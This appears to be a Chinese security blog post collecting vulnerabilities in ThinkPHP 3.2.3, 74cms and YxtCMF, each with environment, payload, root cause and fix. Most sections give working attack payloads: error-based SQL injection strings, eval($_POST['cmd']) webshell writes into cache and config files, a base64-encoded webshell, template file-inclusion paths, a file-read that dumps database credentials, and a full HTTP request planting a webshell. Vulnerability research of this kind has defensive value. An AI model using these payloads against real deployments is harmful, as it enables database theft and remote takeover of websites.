Thinkphp3漏洞
thinkphp3漏洞整理
0x01 thinkphp3.2.3 SQL注入
find/select/delete注入
环境:
Apache2.4.39;php7.3.4; mysql5.7.26
thinkphp3.2.3框架(开启debug)
1
2
3
4$data = M('users')->find(I('GET.id'));
//$data = M('users')->select(I('GET.id'));
// $res = M('user')->delete(I('GET.id'));
var_dump($data);payload:
针对find/select/delete方法:
1
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)#
执行结果:
针对table/alias/where方法:
1
2
3
4?id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
?id[alias]=where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
?id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
?id[alias]=where id=1 and 1--漏洞成因
I()函数:默认过滤方法为htmlspecialchars,使得<>变为html实体; 回调think_filter函数进行过滤
find()函数:
1
$options = $this->_parseOptions($options);
传入参数的值的顺序是id=1’ -> I() -> find() -> _parseOptions() -> _parseType()
直接拼接了where里的内容,没有进行过滤。
漏洞修复:
将
$options
和$this->options
进行了区分,从而传入的参数无法污染到$this->options
,无法控制sql语句。thinkphp3.2.4版本已修复。
exp注入
环境:
Apache2.4.39;php7.3.4; mysql5.7.26
thinkphp3.2.3框架(开启debug)
1
2
3
4
5
6
7public function expsql(){
$User = D('users');
$map = array('user' => $_GET['user']);
// $map = array('user' => I('user')); error
$user = $User->where($map)->find();
// var_dump($user);
}payload:
1
exp:?user[0]=exp&user[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1);
执行结果:
漏洞成因:
find()->db->select()->buildSelectSql()->parseSql()->parseWhere()->parseWhereItem()
parseWhereItem()
1
2
3
4
5
6
7
8is_array($val[1])
/*
*/
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];where条件直接用.拼接,数组索引0的值为exp或者bind,索引1的值为传入的数据。
修复:
使用I()函数接收传入的参数数据,I()会回调think_filter函数,在EXP后加上空格。
bind注入
环境:
Apache2.4.39;php7.3.4; mysql5.7.26
thinkphp3.2.3框架(开启debug)
1
2
3
4
5$User = M("users");
$user['user_id'] = I('id');
$data['password'] = I('password');
$value = $User->where($user)->save($data);
var_dump($value);payload:
1
?id[0]=bind&id[1]=0 and (updatexml(1,concat(0x7e,user(),0x7e),1))&password=123456
运行结果:
漏洞成因:
在parseWhereItem()函数中,拼接数组索引1的值时插入:
1 |
|
在db->driver中
1 |
|
这条语句执行后,将UPDATE users
SET password
=:0 WHERE user_id
= :0 and (updatexml(1,concat(0x7e,user(),0x7e),1))
中的:0全部替换成$this->bind[‘:0’]=’123456’;
得到UPDATE users
SET password
=’123456’ WHERE user_id
= ‘123456’ and (updatexml(1,concat(0x7e,user(),0x7e),1))
修复:
在thinkphp_filter函数的匹配条件里加上bind。
0x02 thinkphp3.2.3 缓存 getshell
环境
Apache2.4.39;php7.3.4; mysql5.7.26
thinkphp3.2.3框架(开启debug)
1
数据缓存:$cache=I('post.cache');S('name',$cache);快速缓存F($name, $value='');
payload:
1
cache=%0A%24a%3deval(%24_POST%5b%27cmd%27%5d)%3b%2f%2f
将小马写入日志文件,通过绝对路径访问http://localhost/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php,蚁剑连接。
利用条件:
- 需要得到缓存文件路径
- 缓存内容可写可控,写入php代码
漏洞成因:
缓存文件路径:/Application/Runtime/Temp/md5(缓存标识).php (32位小写)
缓存内容可写可控,直接将php代码写入缓存。
修复:
方法一 禁止访问/Runtime目录,添加.htaccess文件
1
<IfModule mod_rewrite.c> deny from all</IfModule>
方法二 在/Think/Cache/Driver/File.class.php的set方法里对写入缓存的内容过滤换行符
1
$data = str_replace(PHP_EOL, '', $data);
Windows下PHP_EOF相当于”\r\n” ,当payload只有%0D或者%0A时,过滤失败,可以写入小马,防止被注释。
Linux环境下,给/Runtime/Temp加上写权限:PHP_EOF相当于”\n”,可以输入%0D换行符,输入小马,防止被注释。
0x03 thinkphp3.2.3 ssti漏洞
环境
Apache2.4.39;php7.3.4;mysql5.7.26
thinkphp3.2.3框架
1
<?phpnamespace Home\Controller;use Think\Controller;class TmptestController extends Controller { public function index(){ //$this->assign('type',$type); $this->display('Tmptest/'.I('get.type')); }}
漏洞利用
payload:
1
/index.php?m=Home&c=Tmptest&a=index&type=../favicon.ico
上传小马文件,进行文件包含。
漏洞成因
display函数的参数($templateFile=’’,$charset=’’,$contentType=’’,$content=’’,$prefix=’’),传入view->fetch(),
当输入参数只有模板文件名,传入content参数为空时,会调用parseTemplate函数,只要存在$templateFile就返回true
1
if(is_file($template)) { return $template;}
默认是thinkphp自带的Think模板,执行以下代码
1
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);Hook::listen('view_parse',$params);
view_parse作为系统行为扩展中的模板解析,执行Behavior\ParseTemplateBehavior中的run函数,因为传入的content参数内容为空,执行以下代码
1
$tpl = Think::instance('Think\\Template');// 编译并加载模板文件$tpl->fetch($_content,$_data['var'],$_data['prefix']);
接着执行Think:Template.class/fetch方法
1
public function fetch($templateFile,$templateVar,$prefix='') { $this->tVar = $templateVar; $templateCacheFile = $this->loadTemplate($templateFile,$prefix); // 将文件内容写入一个缓存文件中 Storage::load($templateCacheFile,$this->tVar,null,'tpl');}
其中缓存文件目录/Application/Runtime/Cache/Home,再加载load函数文件包含Cache文件
1
if(!is_null($vars)){ extract($vars, EXTR_OVERWRITE);}include $_filename;
这中间没有对templateFile参数进行过滤,只是确定网站目录下是否存在这个文件,就会进行文件包含。只要是display的参数中$templateFile参数可控,可以进行文件包含。
display函数
只能控制template文件名,进行文件包含
fetch函数
1
$content = $this->fetch('1.php',$_GET['type'],'','');var_dump($content);
需要将结果输出,才能看到结果,同时content参数可控,写入php代码,// 也可以文件包含,但是包含的文件里得有
payload:
1
type=<php> phpinfo();</php> 或者<?php phpinfo();
虽然禁止访问Common模块,但还是可以直接访问Common模块下控制器里的方法,index.php?a=xxxx
-
program data >> php buffer >> tcp buffer >> client
0x04 74cms
环境
Apache2.4.39;php5.3.29; mysql5.7.26
74cms_Home_Setup_v5.0.1 thinkphp3.2.3框架
后台getshell
影响范围:74CMS_v5.0.1
利用条件
- 拿到后台管理员账号密码
漏洞利用
登录后台,修改网站配置,用burpsuite抓包,修改site_domain的值为site_domain=’,file_put_contents(‘403.php’,base64_decode(‘PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==’)),’
(前后加单引号是为了闭合字符串前后所加的单引号)
get访问GET /Application/Common/Conf/url.php,触发代码,在/Application/Common/Conf目录下,写入403.php,内容为
连接/Application/Common/Conf/403.php
漏洞成因
对输入的site_domain数据没有进行过滤,执行以下代码,将内容写入到/Application/Common/Conf/url.php文件中,恶意代码执行。
1
$this->update_config($config,CONF_PATH.'url.php');
update_config函数
1
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
去除反斜杠,不影响写入payload。
后台getshell第二种
环境
74CMS_v5.0.1
利用条件
得到管理员账户密码,登录后台
payload
1
/index.php?m=admin&c=tpl&a=set&tpl_dir=a'.${eval($_POST[2])}.'
小马地址:/Application/Home/Conf/config.php
漏洞成因
tpl->set()->/Common/BackendController(后台控制器基类)->update_config()
1
$this->update_config(array('DEFAULT_THEME'=>$tpl_dir));
在update_config()方法里,默认是往/Home/Conf/config.php文件里写配置信息,stripslashes()函数会删去传入参数中的反斜杠,导致可以向配置文件里写入恶意代码。与第一种方法一样,也是调用update_config()函数。
SSTI漏洞
环境
Apache2.4.39;php5.6.9; mysql5.7.26
74cms_Home_Setup_v5.0.1(5.0.1版本已经对这个漏洞进行修复) thinkphp3.2.3框架
影响范围
4.0.0 ~ 4.1.24
漏洞修复
- 新版本里,在/Home/Controller/MController/index,下
1 |
|
对传入的type参数进行白名单过滤。在上传文件后,不会返回文件存储的路径和替换后的文件名。
漏洞利用(删去加入的补丁)
测试是否能够包含文件
1
/index.php?m=&c=M&a=index&type=../favicon.ico
上传一个内容符合ThinkPHP模板格式的文件,再在type值里输入文件的地址,文件包含成功。
回显
{“status”:1,”msg”:”\u4e0a\u4f20\u6210\u529f\uff01”,”data”:{“name”:”Doc1.docx”,”path”:”/index.php?m=&c=download&a=word_resume&id=1”,”time”:”2020-12-27 17:15”},”dialog”:””}
5.0.1的版本下,不会返回上传文件的路径,但是在这个漏洞的影响范围的版本里,会直接返回文件的路径和替换后的文件名。
文件上传的路径是../data/upload/word_resume/2012/27/5fe850b5aa158.docx,
payload:
1
/index.php?m=&c=M&a=index&type=../data/upload/word_resume/2012/27/5fe850b5aa158.docx
文件包含成功。
漏洞成因
在/Home/Controller/MController/index,对传入的type参数的值没有进行过滤,直接通过display方法进行调用;
在display()里,调用fetch()获取模板内容,当输入参数只有模板文件名时,会调用parseTemplate()来自动定位模板文件,当文件存在时,就直接返回文件的路径,可以直接进行包含。具体见thinkphp3.2.3 ssti漏洞,两个原理一样。
4.*版本前台SQL注入(复现失败)
环境
Apache2.4.39;php5.6.9; mysql5.7.26
74cms_Home_Setup_v4.2.111 (thinkphp3.2.3框架)
与74cmsv5.0.1 前台sql注入原理一样
任意文件读取漏洞
环境
Apache2.4.39;php5.6.9; mysql8.0.12
74cms_Home_Setup_v4.2.111 (thinkphp3.2.3框架)
漏洞范围:<=74cms v4.2.126
漏洞利用
[74cms_file_read.php]:
运行此脚本,读取数据库配置文件,得到连接数据库信息
1
----------- url ------------ http://74cms.4.2.111.com:65521//data/upload/avatar/2012/28/9b25e331cdffab7adf76ece9b5a01533.jpg----------- data ------------ <?php return array ( 'DB_TYPE'=> 'mysql', 'DB_HOST'=> '127.0.0.1', 'DB_NAME'=> '74cms2', 'DB_USER'=> '74cms2', 'DB_PWD'=> '123456', 'DB_PORT'=> '0', 'DB_PREFIX'=> 'qs_', 'DB_CHARSET'=> 'utf8' );
漏洞成因
在/Home/Controller/MembersController/_save_avatar()方法里,使用copy($path, $filename); 将某一路径下的文件内容复制到另一个文件里,这两个参数都由外部输入确定,可以控制。其中,图片文件名是当前时间的md5值,所以需要用脚本来实现。
有两个地方调用了_save_avatar()方法,
- /Home/Controller/MembersController/register()会员注册的临时头像转换处:
里面有两个参数,cookie中的members_bind_info[temp_avatar]和members_uc_info[uid]
- /Home/Controller/MembersController/oauth_reg()第三方登录注册。
v5.0.1 前台sql注入
环境
Apache2.4.39;php5.6.9; mysql8.0.12
74cms_Home_Setup_v5.0.1 (thinkphp3.2.3框架)
漏洞利用
条件:普通用户
payload:
1
/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a
漏洞成因
在/Application/Home/Controller/AjaxPersonalController中,调用了add_focus()方法,在这个方法里调用了check_focus()方法,这个方法里返回
1
return $this->where(array('company_id'=>$company_id,'uid'=>$uid))->find();
对传入where的参数没有进行过滤。company_focus 方法是参数化函数,$company_id参数是不经过I函数过滤的,所以只要where可以控制,就可以直接控制。
0x05 易学堂yxtcmf
后台地址:?g=admin&m=public&a=login
复现
数据库Sql_mode配置不对,有两个数据表导入失败。
Sql文件里的edu_posts表导入失败:
在创建表的语句最前面加上
1
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";SET AUTOCOMMIT = 0;START TRANSACTION;SET time_zone = "+00:00";
再执行。
edu_comments创建失败,#1067 - Invalid default value for ‘createtime’,同上。
安装过程中,管理员用户创建失败,手动创建。
环境
YxtCMF_v6.1,Apache2.4.39,php7.3.4,mysql5.7.26
漏洞利用&成因
利用条件:登录后台
在后台网站信息,修改网站配置,
数据处理过程,/Admin/SettingController/site_post()方法里调用sp_set_dynamic_config()函数来更新系统配置,
这里有S(“sp_dynamic_config”,$configs); 将系统配置更新以后调用S函数,写入缓存,对传入的数据没有进行检测过滤,缓存路径是/data/runtime/Temp/文件下,因为是thinkphp3框架,缓存文件名是缓存标识的md5值。
payload:
1
options[dianboIsOpen]=%0Deval($_POST['cmd']);//
写入小马,蚁剑连接。
全局搜索sp_set_dynamic_config()函数
在/api/OauthController里定义了一个injectionAuthocode()函数
1
function injectionAuthocode(){ $postdata=I('post.'); $configs["authoCode"]=$postdata['authoCode']; sp_set_dynamic_config($configs);}
post payload:
1
POST /index.php/api/Oauth/injectionAuthocode HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedCache: no-cacheOrigin: moz-extension://10e8cf44-a604-4e95-9072-97d92e7155a8Content-Length: 35Connection: closeCookie: Phpstorm-f6cf02a6=9a875c43-7949-416b-82cb-494fd70e5ab5; admin_username=admin; PHPSESSID=hiu2gnvo9kbkbkrqn5n8ghjfo0authoCode=%0Deval($_POST['cmd']);//
1
authoCode=%0Deval($_POST['cmd']);//
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!